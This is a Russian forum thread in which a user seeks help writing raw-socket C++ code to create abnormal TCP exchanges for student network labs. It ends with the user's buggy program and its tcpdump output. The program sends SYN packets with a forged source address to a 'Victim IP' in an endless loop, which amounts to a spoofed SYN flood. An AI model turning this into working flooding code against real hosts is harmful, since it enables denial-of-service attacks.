Raw sockets, C++

[k33]

Здравствуйте, коллеги!

Жизнь моя дала большую трещину - стоит предо мной непосильная задача. Необходимо на слабо знакомом мне C++ в течение 2-х недель написать приложение (клиент + сервер), которое будет создавать нестандартные ситуации в обмене пакетами по IPv4 (это нужно для лабораторных работ студентов). При этом рекомендовано использование raw socket-ов. Пример нестандартной ситуации - "оборванное" тройное рукопожатие:

[C] => Sin;
=> [C] Sin+Ack;
А ответный Ack не приходит.

Студенты с помощью tcpdump'а или любого другого снифера будут сидеть и смотреть на поведение сети во время всего этого безобразия. 

Моя проблема состоит, главным образом, в том, что не могу найти нормального чтива по raw socket'ам. Мне посоветовали Стивенса - но там я не нашёл raw socket'ов (или не понял, что это они ). Более-менее адекватный мануал по самим функциям нашёл на opennet, но этого не достаточно.

Буду благодарен любым советам.

[VestniK]

Очень неудобно читать пост. Не стоит передёргивать с оформлением.

Попробуй задать более конкретный вопрос. Если ты спросишь: "Как мне открыть для прослушивания порт и принимать на нём входящие соединения?" - то больше шансов получить вменяемый ответ. Если приведёшь выдержки кода которые не работают с объяснением что именно хотелось получить, то ещё лучше будет.

[k33]

Я не знаю, как с помощью raw socket'а полностью сформировать пакет и втолкнуть его в сокет. Нужно, чтобы я мог сформировать пакет на уровне ip-заголовков, флагов и всего прочего. Ну и, естественно, получить. Таким образом, за мной будет и возможность посылать ack и т.п. Это реально или я что-то не понимаю?

[VestniK]

В принципе это возможно. Попробуй почитать вот это: http://mixter.void.ru/rawip.html Вроде бы человек пишет именно о том что ты хочешь.

P.S. Сам я столь низкоуровневой работой с сетью никогда не занимался.

[k33]

VestniK,
при беглом рассмотрении показалось, что это именно то, что нужно. Обязательно прочитаю статью, спасибо!


Пишу сюда же, так как немного разобрался в теме - наверняка кто-нибудь ещё будет искать, а материала почти нет в сети.

Для реально "сырой" отправки пакетов и вправду сгодится традиционный socket( ..., SOCK_RAW, IPPROTO_TCP ); Ссылка на статью с этим делом в начале этого топика есть.
Но вот со сниффингом (низкоуровневым перехватом) пакетов дело обстоит чуть сложнее.
С помощью recv() или read() мы можем получить данные, которые пересылаются в пакете. Но ip-, tcp-, udp- и прочие заголовки мы получить не сможем. Для этого надо "отнимать" пакет у сетевого интерфейса, у самой карточки. Это поможет сделать библиотека libpcap (для *nix) и winpcap (для неверных ). Почитать о кодинге под *nix можно тут: http://yuba.stanford.edu/~casado/pcap/section1.html


Столкнулся с новой проблемой.

Пакет вроде отправляется, но почему-то без TCP-заголовка. Подозреваю, что всему виной моё поверхностной знание C.

tcpdump:

(Нажмите, чтобы показать/скрыть)

00:31:44.267166 IP (tos 0x0, ttl 255, id 10200, offset 0, flags [none],
proto TCP (6), length 4096)
    10.195.60.129.re-mail-ck > 10.195.60.129.re-mail-ck:  tcp 4076 [bad
hdr length 0 - too short, < 20]
        0x0000:  4500 1000 27d8 0000 ff06 f597 0ac3 3c81  E...'.........<.
        0x0010:  0ac3 3c81 0032 0032 6745 8b6b 0000 0000  ..<..2.2gE.k....
        0x0020:  0002 0000 0000 0000 0000 0000 0000 0000  ................
        0x0030:  0000 0000 0000 0000 0000 0000 0000 0000  ................
        0x0040:  0000 0000 0000 0000 0000 0000            ............

Код:

(Нажмите, чтобы показать/скрыть)

Код: [Выделить]

#include <sys/socket.h>
#include <arpa/inet.h>
#include <unistd.h>
#include <netinet/in.h>
#include <unistd.h>
#include <string.h>
#include <iostream>
#include <stdlib.h>
#include <stdio.h>
//#define __USE_BSD
#include <netinet/ip.h>
#define __FAVOR_BSD
#include <netinet/tcp.h>

#define die cout<<"Terminating.";exit(EXIT_FAILURE);

unsigned short csum (unsigned short *buf, int nwords) {
        unsigned long sum;
        for (sum = 0; nwords > 0; nwords--)
                sum += *buf++;
        sum = (sum >> 16) + (sum & 0xffff);
        sum += (sum >> 16);
        return ~sum;
}

using namespace std;
int main(int argc, char ** argv) {

        int                                     fd;
        char                            datagram[4096];
        struct ip *iph = (struct ip *) datagram;
/* Вероятно, проблема кроется где-то здесь? */
        struct tcphdr *tcph = (struct tcphdr *) datagram + sizeof (struct ip);
        char * data = (char *) datagram + sizeof(struct tcphdr) + sizeof(struct
ip);
        struct sockaddr_in sin;
       
        if( getuid() != 0 ) {
                cerr << "Superuser rights required!\n";
                die
        }

        if( argc < 4 ) {
                cout << "Usage:\t"<<argv[0]<<" <Victim IP> <port> <Target IP>\n";
                exit(EXIT_FAILURE);
        }

        if ( (fd = socket(PF_INET, SOCK_RAW, IPPROTO_TCP) ) < 0 ) {
                cerr << "Socket\tFAIL.\n";
                die
        } else
                cout << "Socket\tOK.\n";

        sin.sin_family          = AF_INET;
        sin.sin_port            = htons ((uint16_t) *argv[2]);
        sin.sin_addr.s_addr     = inet_addr(argv[1]);

        memset(datagram, 0, 4096);

        iph->ip_hl                      = 5;
        iph->ip_v                       = 4;
        iph->ip_tos                     = 0;
        iph->ip_len                     = sizeof (struct ip) + sizeof (struct tcphdr);
        iph->ip_id                      = htonl (54321);
        iph->ip_off                     = 0;
        iph->ip_ttl                     = 255;
        iph->ip_p                       = 6;
        iph->ip_sum                     = 0;
        iph->ip_src.s_addr      = inet_addr (argv[3]);
        iph->ip_dst.s_addr      = sin.sin_addr.s_addr;

        tcph->th_sport          = htons ((uint16_t) *argv[2]);
        tcph->th_dport          = htons ((uint16_t) *argv[2]);
        tcph->th_seq            = random();
        tcph->th_ack            = 0;
        tcph->th_x2                     = 0;
        tcph->th_off            = 0;
        tcph->th_flags          = TH_SYN;
        tcph->th_win            = htonl (65535);
        tcph->th_sum            = 0;
        tcph->th_urp            = 0;

        iph->ip_sum             = csum ((unsigned short *) datagram, iph->ip_len >> 1);

        memset(data, 0, sizeof(data));
       
        int one = 1;
        const int *val = &one;
        if (setsockopt (fd, IPPROTO_IP, IP_HDRINCL, val, sizeof (one)) < 0) {
                cerr << "Setsockopt\tFAIL.\n";
                die
        }

        while(1) {
                if(sendto(fd, datagram, sizeof(datagram), 0, (struct sockaddr *) &sin,
sizeof(sin)) < 0) {
                        cerr << "Sendto\tFAIL.\n";
                        die
                } else
                        cout << " :) ";
        }

        return 0;
}